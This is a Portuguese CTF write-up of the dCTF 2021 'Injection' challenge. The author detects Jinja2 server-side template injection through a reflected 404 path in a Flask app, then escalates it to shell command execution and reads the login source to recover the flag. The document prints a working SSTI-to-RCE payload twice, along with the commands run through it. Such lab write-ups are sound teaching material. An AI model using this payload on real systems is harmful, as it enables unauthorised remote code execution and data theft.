Publicações

dCTF 2021: Injection

Encontrando uma SSTI em Flask/Jinja, lendo arquivos-fonte e decodificando a senha final.

Writeup original do desafio: Injection.md

URL do desafio: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

Pasted image 20210516170501

O site tinha um login de admin com User, Password e um campo Submit oculto.

Enviar qualquer coisa não funcionava. Ele redirecionava para /login, onde a página retornava:

Oops! Page login doesn't exist :(

Fiquei preso nesse por um tempo. Verifiquei robots.txt, tentei diretórios comuns e olhei o root path onde a imagem estava armazenada, mas não encontrei nada útil.

Eventualmente percebi que o site refletia qualquer path que eu pedisse dentro da resposta 404, até mesmo um input simples de XSS:

Pasted image 20210516170833

No começo achei que poderia ser SQL injection, o que me atrasou porque na época eu mal sabia SQLi.

Depois de ler alguns writeups de CTF com comportamento parecido, encontrei a palavra-chave que eu precisava: SSTI.

Eu já tinha lido sobre SSTI antes desse desafio, mas não fiz a conexão imediatamente.

Encontrando SSTI

Tentei isto:

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}

A resposta foi:

Oops! Page 2 doesn't exist :(

Isso confirmou que a expressão de template estava sendo avaliada.

Depois, tentei:

{{config}}

Isso retornou muitos dados, incluindo esta mensagem:

'MESSAGE': 'You are getting closer!'

A partir daí, o objetivo era transformar a SSTI em execução de comandos. O payload que acabei usando foi:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}

COMMAND é o comando a executar.

Rodar ls retornou:

app.py
lib
static
templates

Rodar ls lib retornou:

security.py

Então li o arquivo com cat lib/security.py:

import base64


def validate_login(username, password):
    if username != 'admin':
        return False
    valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
    return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password

A senha estava codificada em base64, invertida e sem o padding = inicial. Para decodificá-la, inverti de volta e adicionei o padding:

base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'

Isso me deu a flag.

Notas

Payloads de SSTI podem depender muito do ambiente. A maioria dos payloads que encontrei online não funcionou aqui, então precisei adaptar um.

Este artigo do Medium foi a referência mais útil que encontrei enquanto resolvia:

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

O payload final que usei foi:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}